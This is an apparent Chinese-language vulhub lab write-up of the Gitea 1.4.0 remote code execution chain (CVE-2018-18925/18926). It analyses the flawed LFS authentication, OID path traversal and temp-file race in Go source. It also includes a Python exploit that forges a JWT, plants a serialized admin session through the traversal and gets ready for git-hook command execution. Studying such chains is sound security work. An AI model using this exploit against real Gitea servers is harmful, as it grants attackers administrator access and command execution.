文章目录
- 环境搭建
- 漏洞一:代码逻辑错误、没有做有效的鉴权
- 漏洞二:目录穿越、任意文件读取
- 漏洞三:条件竞争
- 漏洞四:钩子函数执行命令
- 参考链接
环境搭建
Gitea是从gogs衍生出的一个开源项目,是一个类似于Github、Gitlab的多用户Git仓库管理平台。
1.4.0版本中有一处逻辑错误,导致未授权用户可以目录穿越、读写文件、最终导致执行命令。
访问 127.0.0.1:3000
添加管理员的账号密码,其他选项默认就行,点击安装
添加新仓库
需要重启一次服务,P神博客里说是因为第一次的时候session并不是保存在文件中,而是内存中,所以需要重启一次
docker-compose restart
漏洞一:代码逻辑错误、没有做有效的鉴权
Modules/lfs/server.go
// post请求处理函数
func PostHandler(ctx *context.Context) {
if !setting.LFS.StartServer {
}
if !MetaMatcher(ctx.Req) {
}
rv := unpack(ctx)
repository, err := models.GetRepositoryByOwnerAndName(rv.User, rv.Repo)
// 关键错误逻辑,检查仓库权限
if !authenticate(ctx, repository, rv.Authorization, true) {
requireAuth(ctx)
}
meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID})
ctx.Resp.Header().Set("Content-Type", metaMediaType)
sentStatus := 202
contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}
ctx.Resp.WriteHeader(sentStatus)
}
// 鉴权函数
func authenticate(ctx *context.Context, repository *models.Repository, authorization string, requireWrite bool) bool {
accessMode := models.AccessModeRead
// 检查是不是私人仓库,requireWrite 默认是 true
if !repository.IsPrivate && !requireWrite {
return true
}
// 检查
if ctx.IsSigned {
accessCheck, _ := models.HasAccess(ctx.User.ID, repository, accessMode)
return accessCheck
}
user, repo, opStr, err := parseToken(authorization)
ctx.User = user
if opStr == "basic" {
accessCheck, _ := models.HasAccess(ctx.User.ID, repository, accessMode)
return accessCheck
}
return false
}
// 鉴权失败
// 发现了吧,就算没有权限也只是简单的设置了一下 header和状态码,然后继续执行 post下面的代码
func requireAuth(ctx *context.Context) {
ctx.Resp.Header().Set("WWW-Authenticate", "Basic realm=gitea-lfs")
writeStatus(ctx, 401)
}
所以这个漏洞允许未授权的用户为任意的仓库创建 GIT LFS对象
漏洞二:目录穿越、任意文件读取
上面这个漏洞虽然可以创建 LFS对象,但是在读取这个对象代表的文件接口处却没有越权
所以要操作读取,必须要通过一个公开的仓库作为跳板,好在这里可以目录穿越,所以还是完整的
漏洞成因:使用 go-macaron作为WEB框架,其中session插件并没有对session ID 过滤,导致可以目录穿越任意文件
// get请求处理函数
func getMetaHandler(ctx *context.Context) {
rv := unpack(ctx)
meta, _ := getAuthenticatedRepoAndMeta(ctx, rv, false)
ctx.Resp.Header().Set("Content-Type", metaMediaType)
if ctx.Req.Method == "GET" {
enc := json.NewEncoder(ctx.Resp)
enc.Encode(Represent(rv, meta, true, false))
}
logRequest(ctx.Req, 200)
}
//鉴权函数
func getAuthenticatedRepoAndMeta(ctx *context.Context, rv *RequestVars, requireWrite bool) (*models.LFSMetaObject, *models.Repository) {
repository, err := models.GetRepositoryByOwnerAndName(rv.User, rv.Repo)
// 鉴权失败直接 return,和post处不同
if !authenticate(ctx, repository, rv.Authorization, requireWrite) {
requireAuth(ctx)
return nil, nil
}
meta, err := repository.GetLFSMetaObjectByOid(rv.Oid)
return meta, repository
}
func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
// 直接拼接 OID,所以可以../../目录穿越
path := filepath.Join(s.BasePath, transformKey(meta.Oid))
// 读取文件
f, err := os.Open(path)
if fromByte > 0 {
_, err = f.Seek(fromByte, os.SEEK_CUR)
}
return f, err
}
// 构造路径
func transformKey(key string) string {
return filepath.Join(key[0:2], key[2:4], key[4:])
}
1、首先需要创建一个 LFS对象
2、访问这个 LFS对象
漏洞三:条件竞争
func (s *ContentStore) Put(meta *models.LFSMetaObject, r io.Reader) error {
path := filepath.Join(s.BasePath, transformKey(meta.Oid))
tmpPath := path + ".tmp"
// 生成 tmp临时文件
dir := filepath.Dir(path)
if err := os.MkdirAll(dir, 0750); err != nil {
return err
}
file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0640)
// defer 函数返回后又删除 tmp临时文件
// 需要想办法让文件被删除之前就被利用
defer os.Remove(tmpPath)
hash := sha256.New()
hw := io.MultiWriter(hash, file)
written, err := io.Copy(hw, r)
file.Close()
return os.Rename(tmpPath, path)
}
go和PHP又不一样,PHP还可以条件竞争写马然后执行命令,go的话想要写定时任务,但是没有权限
继续看P神的思路,伪造session提升权限
BASE_URL = 'http://your-ip:3000/vulhub/repo'
JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'
USER_ID = 1
REPO_ID = 1
// 生成 11vulhub.tmp 文件
SESSION_ID = '11vulhub'
// 这段16进制就是session伪造的数据,{"_old_iod": "1", "uid": uid, "uname": "vulhub" },序列化后再16进制编码
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')
def generate_token():
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
return token.decode()
// 数据发送过去,并sleep300秒再删除文件
def gen_data():
yield SESSION_DATA
time.sleep(300)
yield b''
OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
'Accept': 'application/vnd.git-lfs+json'
}, json={
"Oid": OID,
"Size": 100000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
})
response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
'Accept': 'application/vnd.git-lfs',
'Content-Type': 'application/vnd.git-lfs',
'Authorization': f'Bearer {generate_token()}'
})
漏洞四:钩子函数执行命令
上面的session写进去了的话,我们只需要cookie带上就是管理员权限,i_like_gitea=11vulhub.tmp
/cmd/hook.go
三个钩子函数都一样的,是在执行 git操作时,会被自动被执行的一段代码
参考链接
GOGS/Gitea利用流程
gitea 远程命令执行漏洞链
cve-2018-18925
cve-2018-18926